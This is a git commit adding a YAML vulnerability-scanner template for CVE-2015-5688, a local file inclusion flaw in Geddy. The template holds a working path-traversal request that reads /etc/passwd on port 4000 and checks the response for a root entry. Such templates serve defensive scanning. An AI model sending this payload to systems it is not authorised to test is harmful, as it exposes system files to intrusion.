Create CVE-2015-5688.yaml

2021-02-25 02:34:40 +00:00 · 2021-02-25 02:34:40 +00:00 · c0922ec5d1
parent 2fdfe781e6
commit c0922ec5d1
1 changed files with 24 additions and 0 deletions
--- a/cves/2015/CVE-2015-5688.yaml
+++ b/cves/2015/CVE-2015-5688.yaml
@ -0,0 +1,24 @@
+id: CVE-2015-5688
+
+info:
+ name: Geddy before v13.0.8 LFI
+ author: pikpikcu
+ severity: high
+ issues: https://github.com/geddy/geddy/issues/697
+ reference: https://nvd.nist.gov/vuln/detail/CVE-2015-5688
+ tags: geddy,lfi
+
+requests:
+ - method: GET
+   path:
+    - "{{BaseURL}}:4000/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
+   matchers-condition: and
+   matchers:
+    - type: regex
+      regex:
+       - "root:[x*]:0:0"
+      part: body
+
+    - type: status
+      status:
+       - 200